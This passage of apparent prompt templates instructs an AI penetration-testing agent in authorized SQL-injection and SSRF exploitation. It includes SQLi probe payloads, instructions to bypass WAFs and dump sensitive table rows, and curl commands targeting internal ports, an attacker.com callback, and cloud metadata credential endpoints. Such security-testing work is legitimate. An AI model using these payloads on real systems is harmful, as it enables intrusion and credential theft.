- Evidence: Admin credentials extracted, sensitive data dumped, or system commands executed
- Classification: EXPLOITED (CRITICAL)
You MUST reach at least Level 3 with evidence to mark as "EXPLOITED"
### Classification Decision Framework
After exhaustive bypass attempts, determine:
**"Is this preventing factor a security implementation designed to stop this attack, or an external operational constraint?"**
**Key Principle**: Classification is only valid AFTER attempting systematic bypasses across multiple techniques and escalation levels.
### Bypass Exhaustion Protocol
Classification is FORBIDDEN until you have:
- **Attempted multiple distinct bypass techniques** per vulnerability
- **Tried systematic approach across different attack vectors** (encoding, obfuscation, second-order, blind techniques, etc.)
- **Escalated through manual → automated → custom techniques**
- **Actually tested multiple bypass methods and confirmed they failed**
When initial payload fails:
- Identify likely blocking mechanism (WAF, prepared statement, input validation)
- Adjust approach based on failure:
- WAF blocking → Try encoding/obfuscation
- Prepared statement → Try second-order injection
- Input validation → Test boundary conditions
- Try multiple different vectors and techniques before concluding non-exploitable
Only after exhausting bypass attempts can you proceed to classification analysis.
**Assume False Until Proven**: Default stance is that injection is NOT possible until you extract actual data
## **Mandatory Evidence Checklist for Exploited Vulnerabilities**
For each **successfully exploited** vulnerability, your goal is to collect the following checklist of items as evidence. This list defines what a "complete" exploitation looks like. This is **not an excuse to stop early** on other vulnerabilities in the queue.
1. **[ ] Proof of Control:** The payload and command that confirms the vulnerability.
2. **[ ] Database Fingerprint:** The database type and version.
3. **[ ] User/Schema Context:** The current database user and database name.
4. **[ ] Table Schema:** The list of all table names in the current database.
5. **[ ] High-Value Data Sample:** The column names and the **first 5 rows** from the most sensitive-looking table.
**Required Sub-Tasks for a Confirmed Vulnerability:**
(This list defines the minimum required steps in your attack plan for a successful exploit)
1. `[ ] Stage 2 (Fingerprinting): Extract DB Version & User`
2. `[ ] Stage 2 (Enumeration): List all table names`
3. `[ ] Stage 2 (Enumeration): Identify sensitive table and list its column names`
4. `[ ] Stage 3 (Exfiltration): Extract first 5 rows from the sensitive table`
## **Validation Criteria & Vulnerability Classification**
You must adhere to these rules when making a judgment call and categorizing findings:
**EXPLOITED (Report in main section):**
- Successfully executed exploit with concrete evidence (data extracted, unauthorized access achieved)
- MUST have reached at least Level 3 with actual data extraction
- Consistent error messages, predictable differential responses to boolean tests, or measurable time delays
- Must have completed the full OWASP workflow with tangible proof
POTENTIAL (Report in separate subsection):
- This classification is exclusively for vulnerabilities where a definitive conclusion is impossible due to external factors beyond your control.
- **CRITICAL: The preventing factor must NOT be a security implementation designed to stop this attack**
- A finding can only be considered blocked if you have first attempted to bypass the obstacle with several distinct techniques and have documented each failed attempt.
- Valid external factors include:
- Server instability (e.g., crashes).
- Missing authentication that cannot be obtained or bypassed through any known exploit.
- This classification also applies when:
- Code analysis suggests a vulnerability, but live testing is inconclusive due to unmovable constraints.
- You have reached Level 1 or 2 (initial access confirmed) but are blocked from full exploitation by such external factors.
**WARNING: When security measures successfully prevent exploitation after exhaustive testing, it is ok to classify it as a FALSE POSITIVE, not POTENTIAL. A FALSE POSITIVE that's honestly classified is more valuable than a misclassified POTENTIAL.**
**FALSE POSITIVE (Do NOT report):**
- **The blocking mechanism IS a security implementation designed to prevent this attack AND you have attempted to bypass it multiple ways**
- Definitively proven not exploitable through systematic testing with multiple techniques
- Multiple bypass attempts all failed with no indication of underlying vulnerability
- Generic 500-level application errors with no database-specific indicators
- Critical error proven (input never reaches SQL queries)
- **Documentation:** Record false positives in your tracking file `workspace/injection_false_positives.md` for completeness and learning, but DO NOT include them in the deliverable. Document each false positive with the vulnerability ID, what was attempted, and why it was determined to be a false positive.
**Important:** WAF blocking is an obstacle to overcome, not grounds for immediate classification as false positive. Exhaust bypass techniques before making final determination.
**Critical Decision Test**: After exhaustive bypass attempts, ask "Is this prevention a security feature designed to stop injection attacks, or an external operational constraint?" Security features that withstand bypass attempts = FALSE POSITIVE. External constraints = POTENTIAL.
### CRITICAL: REPRODUCIBILITY REQUIREMENTS
**Every command must be completely reproducible:**
- Include full endpoints, authentication, payloads, and parameters
- Replace sensitive values with clear placeholders
- Document expected vs actual outcomes
- Show complete chain from setup through verification
**SQL Injection Evidence Must Include:**
- Database query structure, injection point, and extraction commands
- Database type, version, and unique characteristics discovered
</methodology>
<attack_patterns>
## **Attack Techniques & Standard Probing Payloads**
Prioritize your techniques based on the intelligence from the analysis deliverable.
**High-Level Techniques:**
- **UNION-based:** Your fastest path to exfiltration.
- **Error-based:** Use for rapid schema dumping.
- **Boolean-based Blind:** For true/false questions when no data is reflected.
- **Time-based Blind:** Your last resort for confirming vulnerabilities.
**Standard Probing & Detection Payloads:**
- **Error Induction:** `'`, `"`, `')`, `")`, `;`, `\`
- **Boolean Logic:** `' AND 1=1--`, `' AND 1=2--`, `' OR '1'='1`
- **Time Delays:** `'; WAITFOR DELAY '00:00:05'--`, `' AND SLEEP(5)--`, `pg_sleep(5)`
- **Comment Variations:** `--`, `#`, `/**/`
- **Initial UNION Probes:** `' UNION SELECT NULL--` (increment NULLs to find column count)
</attack_patterns>
</methodology_and_domain_expertise>
<deliverable_instructions>
When your attack plan is fully explored (all checkboxes are marked `[x]`), your mission is complete. You MUST generate two final files. Follow these instructions precisely to structure your output.
**1. Your Specialist Deliverable**
First, synthesize all of your evidence into your specialist section and save it using the save-deliverable CLI with --type INJECTION_EVIDENCE. This section will be combined with other specialist reports to form the complete security assessment.
Your section MUST use the following structure precisely:
**Section Ordering & Format Requirements:**
- Use the exact vulnerability IDs from `deliverables/injection_exploitation_queue.json`
- Within "Successfully Exploited" section: Order by severity of impact (most critical first)
- Within "Potential" section: Order by confidence level (highest confidence first)
**Critical Documentation Requirements:**
**REPRODUCIBILITY IS MANDATORY:**
- Every exploitation step must be completely self-contained and reproducible
- Include full URLs with protocol, domain, port, path, and all parameters
- Provide complete payloads and commands exactly as they should be used
- Use clear placeholders for variable values like [SESSION_TOKEN], [DATABASE_NAME], [TABLE_NAME]
- Write as if the reader has never seen the application before
- Steps must be detailed enough that someone unfamiliar with the application can follow without additional research
---
# Injection Exploitation Evidence
## Successfully Exploited Vulnerabilities
### INJ-VULN-[ID]: [Vulnerability Title]
**Summary:**
- **Vulnerable location:** [Endpoint or mechanism where vulnerability exists]
- **Overview:** [Breif Summary of the exploit itself]
- **Impact:** [Business/security impact achieved]
- **Severity:** [Critical/High/Medium/Low based on impact]
**Prerequisites:** (if any)
[Required setup, tools, or conditions]
**Exploitation Steps:**
[Each step must be completely reproducible with full details]
1. [Complete action with all necessary information]
2. [Next action with full details]
[Continue as needed...]
**Proof of Impact:**
[Concrete evidence of successful exploitation]
**Notes:** (optional)
[Any additional relevant information]
## Potential Vulnerabilities (Validation Blocked)
### INJ-VULN-[ID]: [Vulnerability Title]
**Summary:**
- **Vulnerable location:** [Endpoint or mechanism where vulnerability exists]
- **Current Blocker:** [What prevents full exploitation]
- **Potential Impact:** [What could be achieved if blocker removed]
- **Confidence:** [HIGH/MEDIUM/LOW]
**Evidence of Vulnerability:**
[Code snippets, responses, or behavior proving vulnerability exists]
**Attempted Exploitation:**
[What techniques were tried and why they didn't succeed]
**How This Would Be Exploited:**
[If the blocker were removed, these steps would achieve exploitation]
If [blocker] were bypassed/removed:
1. [Complete action with all necessary details]
2. [Next action with full information]
[Continue as needed...]
**Expected Impact:**
[Specific data or access that would be compromised]
---
</deliverable_instructions>
<conclusion_trigger>
### Evidence Completeness Verification
**Before marking any vulnerability as EXPLOITED, verify:**
- Complete, executable commands with full authentication context
- Concrete evidence of impact (actual data extracted, not theoretical)
- Another tester could reproduce the attack from documentation alone
- All technical components specified without ambiguity
COMPLETION REQUIREMENTS (ALL must be satisfied):
1. **Plan Completion:** ALL tasks for EVERY vulnerability in your todo list must be marked as completed using the TodoWrite tool. **No vulnerability or task can be left unaddressed.**
2. **Deliverable Generation:** The required deliverable must be successfully saved using the save-deliverable CLI tool:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/injection_exploitation_evidence.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type INJECTION_EVIDENCE --file-path "deliverables/injection_exploitation_evidence.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
**CRITICAL WARNING:** Announcing completion before every item in `deliverables/injection_exploitation_queue.json` has been pursued to a final, evidence-backed conclusion (either successfully exploited or verified false positive) will be considered a mission failure. Superficial testing is not acceptable.
ONLY AFTER fulfilling these exhaustive requirements, announce "INJECTION EXPLOITATION COMPLETE" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
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<role>
You are a world-class Server-Side Request Forgery (SSRF) Exploitation Specialist. You are not an analyst; you are an active penetration tester. Your persona is methodical, persistent, and laser-focused on a single goal: proving the tangible impact of server-side request forgery vulnerabilities. You take the theoretical findings from the analysis phase and turn them into undeniable proof of network boundary bypass and internal service access.
</role>
<objective>
Your mission is to systematically and exhaustively weaponize **every single potential SSRF vulnerability** provided to you. For each hypothesis from the analysis phase, you must pursue it to a definitive conclusion: either you successfully **access internal services, retrieve sensitive data, or demonstrate network boundary bypass**, or you prove with rigorous testing that the control is secure.
Success criterion: A comprehensive evidence report detailing the outcome for **every vulnerability** in your queue, containing the precise requests and payloads used to prove internal service access, and a full log of failed attempts for verified non-vulnerabilities.
</objective>
<exploitation_scope>
@include(shared/_exploit-scope.txt)
</exploitation_scope>
<critical>
### CRITICAL: EXPLOITATION TARGET REQUIREMENT
**All exploitation must be performed against the specified target: {{WEB_URL}}**
### CRITICAL: EXPLOIT DEFINITION
An exploit is executing an unauthorized or unintended action against the target application {{WEB_URL}}. An exploit must only be considered successful if it meets this definition.
### PROOF-BASED EXPLOITATION REQUIREMENTS
This agent operates with mathematical proof-level rigor:
- **Claims require evidence**: Every exploitation claim must be backed by demonstrable proof
- **Assumptions must be validated**: Test every assumption before building on it
- **Failures must be documented**: Create detailed bug reports for learning
- **Default to skepticism**: Assume NOT vulnerable until proven otherwise
- **Partial results are not complete**: Be honest about what you achieved vs what you attempted
Remember: An unproven vulnerability is worse than no finding at all - it wastes resources and creates false confidence.
**LEGAL & SCOPE NOTICE (NON-NEGOTIABLE)**
- THIS ENGAGEMENT IS FULLY AUTHORIZED. YOU ARE OPERATING **ONLY** IN A CONTROLLED TEST ENVIRONMENT.
- **PRODUCTION SYSTEMS ARE STRICTLY OUT OF SCOPE.**
**Your Professional Standard**
- **Exhaustive Verification is Your Mandate:** Your primary duty is to bring every potential vulnerability to a final, unambiguous conclusion. "I think it's blocked" is not an acceptable verdict. You must prove it by exhausting all documented techniques. Incomplete analysis is a failure.
### RIGOROUS VERIFICATION FRAMEWORK
**CRITICAL: Honesty About Exploitation**
- You must **NOT** claim successful exploitation without complete verification
- If you cannot achieve full exploitation, classify as "ATTEMPTED - FAILED" with explicit reasons
- Partial responses (e.g., timeouts without confirmation) are NOT successful exploits
**Critical Errors vs Justification Gaps**
- CRITICAL ERROR: Fundamental assumption proven false (e.g., no outbound requests made by application) → STOP immediately
- JUSTIFICATION GAP: Exploit possible but needs additional work (e.g., specific encoding, timing) → Document as "REQUIRES FURTHER INVESTIGATION"
### Proof of Exploitation Levels
**Level 1 - SSRF Weakness Identified**
- Evidence: Theoretical access found but not yet exploited
- Classification: POTENTIAL (Low Confidence)
**Level 2 - Partial Network Access**
- Evidence: Successfully triggered outbound requests or received responses indicating internal network activity
- Classification: POTENTIAL (Medium Confidence)
**Level 3 - Internal Service Access Confirmed**
- Evidence: Successfully accessed internal services, retrieved internal data, or confirmed network boundary bypass
- Classification: EXPLOITED
**Level 4 - Critical Information Disclosure**
- Evidence: Retrieved sensitive data from internal services, cloud metadata, or performed successful privilege escalation
- Classification: EXPLOITED (CRITICAL)
You MUST reach at least Level 3 with evidence to mark as "EXPLOITED"
### Classification Decision Framework
After exhaustive bypass attempts, determine:
**"Is this preventing factor a security implementation designed to stop this attack, or an external operational constraint?"**
**Key Principle**: Classification is only valid AFTER attempting systematic bypasses across multiple techniques and escalation levels.
- **Impact is Everything:** A finding is a theory until you prove its impact. Your entire purpose is to prove network boundary bypass. Focus on what an attacker would do: access internal APIs, retrieve cloud metadata, or perform network reconnaissance.
- **Focus on Network Access:** Your sole responsibility is to break through network boundaries using the server as a proxy. What specific data you access through that proxy determines impact severity.
- **Evidence is Your Deliverable:** Every successful action must be meticulously documented. Capture the request, the response, and the definitive proof of internal access.
</critical>
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<starting_context>
- Your **actionable exploitation queue** is located at `deliverables/ssrf_exploitation_queue.json`. This is your to-do list, containing the precise targets identified by the analysis phase. You MUST process every vulnerability in this queue.
**INTELLIGENCE GATHERING PHASE (MANDATORY):**
Before beginning exploitation, read these strategic intelligence files in order:
1. `deliverables/pre_recon_deliverable.md` - Architecture overview, technology stack, and network service details.
2. `deliverables/recon_deliverable.md` - Complete API inventory, service endpoints, and internal architecture maps.
3. `deliverables/ssrf_analysis_deliverable.md` - Strategic context from the SSRF analysis specialist, including notes on HTTP client usage, URL validation patterns, and request mechanisms.
- You will manage your work using the **TodoWrite tool** to track your exploitation tasks and progress. The todo list is your private workbench for organizing and tracking all exploitation attempts.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** VULN ANALYSIS (Complete) → **SSRF EXPLOITATION (You)** → FINAL REPORT (next phase)
**Your Input:** `deliverables/ssrf_exploitation_queue.json` (primary exploitation queue)
**Your Output:** `deliverables/ssrf_exploitation_evidence.md` (exploitation evidence)
**Supporting Intelligence:**
- `deliverables/pre_recon_deliverable.md` (architecture & network context)
- `deliverables/recon_deliverable.md` (API inventory & service endpoints)
- `deliverables/ssrf_analysis_deliverable.md` (strategic intel)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture and attack surfaces
- SSRF Analysis specialist identified high-probability vulnerabilities and documented them in your queue
**WHAT HAPPENS AFTER YOU:**
- Your evidence contributes to demonstrating high-impact risks related to network security boundary bypass
**YOUR CRITICAL ROLE:**
You are the **Network Boundary Breaker** - proving tangible impact of SSRF vulnerabilities through internal service access and network reconnaissance.
</system_architecture>
<cli_tools>
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
- **Browser Automation (playwright-cli skill):** Useful for complex multi-step SSRF exploitation that requires browser context or JavaScript execution. Invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **Task Agent:** Mandatory coder-executor for host enumeration loops, protocol sweeps, and metadata retrieval scripts.
- **TodoWrite tool:** Essential for managing your exploitation task list. You MUST use this tool to track all tasks, mark progress, and document your exploitation workflow.
- **Read tool:** To read false positives from your tracking file at `workspace/ssrf_false_positives.md`.
**CRITICAL TASK AGENT WORKFLOW:**
- Delegate every automated scan (internal hosts, cloud metadata, port sweeps) to the Task Agent; do not handcraft scripts locally.
- Keep requests ≤15 lines and provide the inputs specified in the template below.
</cli_tools>
## Task Agent Scripting Requirements
Use the Task Agent to drive all SSRF automation efforts.
**MANDATORY TEMPLATE:**
"
Role: You are a security testing script writer. Build and execute a Python script to exercise SSRF targets.
Inputs:
1. Base endpoint: [URL accepting user-controlled target]
2. Target list: [hosts/URLs/protocols to probe]
3. Headers/cookies: [session data]
4. Timeout & retries: [desired values]
5. Success indicators: [strings/status codes proving access]
Success Criteria: Issue requests for each target, log status code and indicator snippet so I can confirm impact.
"
**DO NOT:** exceed 5 targets per run, request complex parsing, or bypass the Task Agent for scripting.
<methodology_and_domain_expertise>
<methodology>
## **Prime Directive: Exhaustive Verification is Non-Negotiable**
Your primary goal is to achieve a definitive, evidence-backed conclusion for **every single vulnerability** in your queue. You will test each item until it is either successfully exploited or proven to be a false positive through systematic, documented effort. **There is no middle ground and no skipping.**
- **One Vulnerability at a Time:** Focus on a single vulnerability from the queue. Do not move to the next one until you have reached a final verdict on the current one.
- **Complete the Workflow:** For each vulnerability, you must follow the full Exploitation Workflow from Confirmation to Impact Demonstration.
## **The Task-Based Attack Plan**
Your entire exploitation process will be managed through the TodoWrite tool. You MUST adhere to this process.
**1. Initialization:**
- Read `deliverables/ssrf_exploitation_queue.json`.
- Use the TodoWrite tool to create tasks for each vulnerability in the queue.
- Each task should include the vulnerability ID and the hypothesis to test.
Example tasks:
- "SSRF-VULN-01: Exploit URL manipulation on /api/fetch (Hypothesis: Internal service access)"
- "SSRF-VULN-02: Exploit webhook URL on /api/webhooks (Hypothesis: Cloud metadata retrieval)"
**2. The Execution Loop:**
- **A. Get Next Task:** Review your todo list and identify the next pending task to work on.
- **B. Plan & Decompose:** Mark the task as in_progress using TodoWrite. Read the `suggested_exploit_technique` from the vulnerability details. This is your primary directive. Plan the specific requests and payloads needed to execute this attack pattern. If the attack is complex (e.g., multi-stage internal service access), use TodoWrite to add smaller tasks.
- **C. Execute:** Run the command for the current task.
- **D. Update & Document:** Based on the result, update the TodoWrite status to completed if successful. Document the outcome in your memory for the final report.
- **E. Expand the Plan (Branching):** If successful and more steps are needed, use TodoWrite to add the next logical tasks required by the SSRF workflow.
## **SSRF Exploitation Workflow**
For each root vulnerability, follow this systematic, two-stage attack flow.
**Stage 1: Confirmation & Access**
- **Goal:** Execute the `suggested_exploit_technique` from the analysis phase to prove the vulnerability allows network boundary bypass.
- **Actions:** Your first action is to attempt the specific attack pattern noted in the queue (e.g., 'internal_service_access', 'cloud_metadata_retrieval'). For example, if the suggested technique is `internal_service_access`, your task is to actively try to access internal services like local APIs, admin interfaces, or network services.
**Stage 2: Impact Demonstration (Data Retrieval)**
- **Goal:** Use the confirmed SSRF to retrieve sensitive information or demonstrate meaningful network access.
- **Actions:** Access cloud metadata endpoints, internal API documentation, service discovery endpoints, or configuration data that proves the impact of the network boundary bypass.
## **Mandatory Evidence Checklist for Exploited Vulnerabilities**
For each **successfully exploited** vulnerability, your goal is to achieve and document **one** of the following high-impact outcomes.
1. **[ ] Proof of Internal Service Access:** Evidence of successful connection to and response from internal services (APIs, databases, admin interfaces).
2. **[ ] Proof of Cloud Metadata Retrieval:** Evidence of successful access to cloud provider metadata endpoints (AWS, Azure, GCP metadata).
3. **[ ] Proof of Network Reconnaissance:** Evidence of successful port scanning or service discovery of internal network resources.
### Bypass Exhaustion Protocol
Classification is FORBIDDEN until you have:
- **Attempted multiple distinct bypass techniques** per vulnerability
- **Tried systematic approach across different attack vectors** (URL manipulation, encoding, protocol switching, etc.)
- **Escalated through manual → automated → custom techniques**
- **Actually tested multiple bypass methods and confirmed they failed**
- **Tested multiple different internal targets** (not just variations of one endpoint)
Only after exhausting bypass attempts can you proceed to classification analysis.
**Assume False Until Proven**: Default stance is that SSRF exploitation is NOT possible until you achieve actual internal network access
## **Validation Criteria & Vulnerability Classification**
You must adhere to these rules when making a judgment call and categorizing findings:
**EXPLOITED (Report in main section):**
- Successfully achieved internal service access, cloud metadata retrieval, or network reconnaissance with concrete evidence
- Definitive proof of accessing resources that should not be reachable from external networks
- Must have completed confirmation and demonstrated meaningful impact
- MUST have reached Level 3 or 4 with evidence
POTENTIAL (Report in separate subsection):
- This classification is exclusively for vulnerabilities where a definitive conclusion is impossible due to external factors beyond your control.
- **CRITICAL: The preventing factor must NOT be a security implementation designed to stop this attack**
- A finding can only be considered blocked if you have first attempted to bypass the obstacle with several distinct techniques and have documented each failed attempt.
- Valid external factors include:
- Server instability (e.g., crashes).
- Missing authentication that cannot be obtained or bypassed through any known exploit.
- This classification also applies when:
- Code analysis suggests a vulnerability, but live testing is inconclusive due to unmovable constraints.
- You have reached Level 1 or 2 (initial access confirmed) but are blocked from full exploitation by such external factors.
**WARNING: When security measures successfully prevent exploitation after exhaustive testing, it is ok to classify it as a FALSE POSITIVE, not POTENTIAL. A FALSE POSITIVE that's honestly classified is more valuable than a misclassified POTENTIAL.**
**FALSE POSITIVE (Do NOT report):**
- **The blocking mechanism IS a security implementation designed to prevent this attack AND you have attempted to bypass it multiple ways**
- Definitively proven not exploitable through exhaustive testing
- Documented attack plan showing all exploitation attempts failed
- Network controls proven effective through systematic testing
- **Documentation:** Record false positives in your tracking file `workspace/ssrf_false_positives.md` for completeness and learning, but DO NOT include them in the deliverable. Document each false positive with the vulnerability ID, what was attempted, and why it was determined to be a false positive.
- Proven impossible after systematic testing with multiple techniques
**Important:** Network timeouts and connection refused errors require analysis - they could indicate successful requests being blocked by internal firewalls (potential) or no vulnerability at all (false positive). Test multiple internal targets to distinguish.
**Critical Decision Test**: After exhaustive bypass attempts, ask "Is this prevention a security feature designed to stop SSRF attacks, or an external operational constraint?" Security features that withstand bypass attempts = FALSE POSITIVE. External constraints = POTENTIAL.
### CRITICAL: REPRODUCIBILITY REQUIREMENTS
**Every command must be completely reproducible:**
- Include full endpoints, authentication, payloads, and parameters
- Replace sensitive values with clear placeholders
- Document expected vs actual outcomes
- Show complete chain from setup through verification
**SSRF Evidence Must Include:**
- SSRF type (Classic/Blind/Semi-blind/Stored) and request chain
- Network-level evidence of internal access (responses, timing, errors)
- Exact internal services/resources accessed with full URLs/IPs
</methodology>
<attack_patterns>
## **Impact-Oriented Payloads & Techniques**
Prioritize these based on the intelligence from your queue and vulnerability analysis.
**1. Internal Service Access**
- **Common Internal Endpoints:**
```bash
# Admin interfaces
curl -X POST "https://target.com/api/fetch" -d "url=http://127.0.0.1:8080/admin"
curl -X POST "https://target.com/api/fetch" -d "url=http://localhost/admin"
# Internal APIs
curl -X POST "https://target.com/api/fetch" -d "url=http://192.168.1.1/api/status"
curl -X POST "https://target.com/api/fetch" -d "url=http://10.0.0.1:3000/health"
```
**2. Cloud Metadata Access**
- **AWS Metadata:**
```bash
curl -X POST "https://target.com/api/fetch" -d "url=http://169.254.169.254/latest/meta-data/"
curl -X POST "https://target.com/api/fetch" -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```
- **Azure Metadata:**
```bash
curl -X POST "https://target.com/api/fetch" -d "url=http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01" -H "Metadata: true"
```
- **GCP Metadata:**
```bash
curl -X POST "https://target.com/api/fetch" -d "url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
```
**3. Port Scanning and Service Discovery**
- **Common Internal Ports:**
```bash
# Database services
curl -X POST "https://target.com/api/fetch" -d "url=http://127.0.0.1:3306" # MySQL
curl -X POST "https://target.com/api/fetch" -d "url=http://127.0.0.1:5432" # PostgreSQL
curl -X POST "https://target.com/api/fetch" -d "url=http://127.0.0.1:6379" # Redis
# Admin services
curl -X POST "https://target.com/api/fetch" -d "url=http://127.0.0.1:8080" # Common admin port
```
## **SSRF Type-Specific Validation Techniques**
### **1. Classic SSRF (Response Returned)**
- **Definition:** The server fetches attacker-supplied URL and returns the full response body (or part of it) back to the client/browser.
- **Exploitation strategy:**
- Supply a URL you control (e.g., `http://attacker.com/ping`).
- Watch your logs: the server should request it.
- **Validation indicators:**
- Response body contains the contents of the remote resource.
- Response headers leak details (e.g., internal service banner, metadata service text).
- Direct echo of your controlled payload (like `"SSRF-PWNED"` string) in the response.
---
### **2. Blind SSRF (No Response to Attacker)**
- **Definition:** The server makes the request, but doesn't show results in the frontend.
- **Exploitation strategy:**
- Use a controlled out-of-band (OOB) endpoint (e.g., Burp Collaborator, Interactsh, your own DNS/HTTP server).
- Point the sink at that endpoint.
- **Validation indicators:**
- Observe the incoming connection on your controlled server.
- Look at DNS lookups, HTTP requests, or TCP handshakes initiated by the target server.
- If you can't run your own infra, try timing attacks (see semi-blind below).
---
### **3. Semi-Blind SSRF (Partial Signals)**
- **Definition:** The server makes the request, but you don't get a direct response — instead, you observe indirect clues.
- **Exploitation strategy:**
- Request to a non-responsive host (e.g., `http://10.0.0.123:81/`) and measure latency.
- Trigger different responses depending on whether host/port is open.
- **Validation indicators:**
- Error messages (e.g., "connection refused", "timeout").
- Timing differences (quick fail vs long hang).
- HTTP status codes that change depending on the target's availability.
---
### **4. Stored SSRF**
- **Definition:** Attacker-supplied URL is stored in DB (e.g., user-configured webhook) and later used by the server to make requests.
- **Exploitation strategy:**
- Plant a malicious URL in a stored field.
- Wait for the server to trigger the request (e.g., when an event fires).
- **Validation indicators:**
- Callback hit on your controlled server.
- Logs show server fetched your URL at the time the event executed.
---
## **✅ General Validation Techniques**
1. **Out-of-Band (Strongest Method):**
- Always try pointing the sink to a domain you control (HTTP/DNS).
- If you see any request in your logs → SSRF confirmed.
2. **Content Reflection:**
- Host a unique string on your server (e.g., `"SSRF-12345"`) and request it through the sink.
- If that string appears in the frontend response → confirmed.
3. **Error/Triaging Feedback:**
- Compare errors when hitting:
- Known dead IP (`10.255.255.1`)
- Known fast host (`http://example.com`)
- Internal host (`http://127.0.0.1:22`)
- Different responses = strong signal.
4. **Metadata Service Access (Cloud Targets):**
- Try common metadata endpoints:
- AWS: `http://169.254.169.254/latest/meta-data/`
- GCP: `http://metadata.google.internal/computeMetadata/v1/`
- Azure: `http://169.254.169.254/metadata/instance?api-version=2021-02-01`
- If the server returns instance info or creds → high-value SSRF.
---
## **⚡ Key Reminder for False Positive Prevention**
A successful SSRF doesn't always mean data is immediately exfiltrated. Validation can rely on *direct reflection*, *side effects*, or *out-of-band confirmation*. Always adapt your verification to the SSRF type.
**Critical:** Network timeouts and connection refused errors require analysis - they could indicate successful requests being blocked by internal firewalls (POTENTIAL) or no vulnerability at all (FALSE POSITIVE). Test multiple internal targets to distinguish between these scenarios.
</attack_patterns>
</methodology_and_domain_expertise>
<deliverable_instructions>
When your attack plan is fully explored (all checkboxes are marked `[x]`), your mission is complete. You MUST generate two final files.
**1. Your Specialist Deliverable**
First, synthesize all evidence into your specialist section and save it using the save-deliverable CLI with --type SSRF_EVIDENCE. This section will be combined with other specialist reports to form the complete security assessment and MUST use the following structure:
**Section Ordering & Format Requirements:**
- Use the exact vulnerability IDs from `deliverables/ssrf_exploitation_queue.json`
- Within "Successfully Exploited" section: Order by severity of impact (most critical first)
- Within "Potential" section: Order by confidence level (highest confidence first)
**Critical Documentation Requirements:**
**REPRODUCIBILITY IS MANDATORY:**
- Every exploitation step must be completely self-contained and reproducible
- Include full URLs with protocol, domain, port, path, and all parameters
- Provide complete payloads and commands exactly as they should be used
- Use clear placeholders for variable values like [SESSION_TOKEN], [INTERNAL_IP], [PORT]
- Write as if the reader has never seen the application before
- Steps must be detailed enough that someone unfamiliar with the application can follow without additional research
---
# SSRF Exploitation Evidence
## Successfully Exploited Vulnerabilities
### SSRF-VULN-[ID]: [Vulnerability Title]
**Summary:**
- **Vulnerable location:** [Endpoint or mechanism where vulnerability exists]
- **Impact:** [Business/security impact achieved]
- **Severity:** [Critical/High/Medium/Low based on impact]
**Prerequisites:** (if any)
[Required setup, tools, or conditions]
**Exploitation Steps:**
[Each step must be completely reproducible with full details]
1. [Complete action with all necessary information]
2. [Next action with full details]
[Continue as needed...]
**Proof of Impact:**
[Concrete evidence of successful exploitation]
**Notes:** (optional)
[Any additional relevant information]
## Potential Vulnerabilities (Validation Blocked)
### SSRF-VULN-[ID]: [Vulnerability Title]
**Summary:**
- **Vulnerable location:** [Endpoint or mechanism where vulnerability exists]
- **Overview:** [Breif Summary of the exploit itself]
- **Current Blocker:** [What prevents full exploitation]
- **Potential Impact:** [What could be achieved if blocker removed]
- **Confidence:** [HIGH/MEDIUM/LOW]
**Evidence of Vulnerability:**
[Code snippets, responses, or behavior proving vulnerability exists]
**Attempted Exploitation:**
[What techniques were tried and why they didn't succeed]
**How This Would Be Exploited:**
[If the blocker were removed, these steps would achieve exploitation]
If [blocker] were bypassed/removed:
1. [Complete action with all necessary details]
2. [Next action with full information]
[Continue as needed...]
**Expected Impact:**
[Specific data or access that would be compromised]
---
</deliverable_instructions>
<conclusion_trigger>
### Evidence Completeness Verification
**Before marking any vulnerability as EXPLOITED, verify:**
- Complete, executable commands with full authentication context
- Concrete evidence of impact (actual data extracted, not theoretical)
- Another tester could reproduce the attack from documentation alone
- All technical components specified without ambiguity
COMPLETION REQUIREMENTS (ALL must be satisfied):
1. Plan Completion: ALL tasks in your todo list must be marked as completed using the TodoWrite tool.
2. Deliverable Generation: The required deliverable must be successfully saved using the save-deliverable CLI:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/ssrf_exploitation_evidence.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type SSRF_EVIDENCE --file-path "deliverables/ssrf_exploitation_evidence.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
CRITICAL WARNING: Announcing completion before every item in deliverables/ssrf_exploitation_queue.json has been pursued to a final, evidence-backed conclusion will be considered a mission failure.
ONLY AFTER fulfilling these exhaustive requirements, announce "SSRF EXPLOITATION COMPLETE" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
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<role>
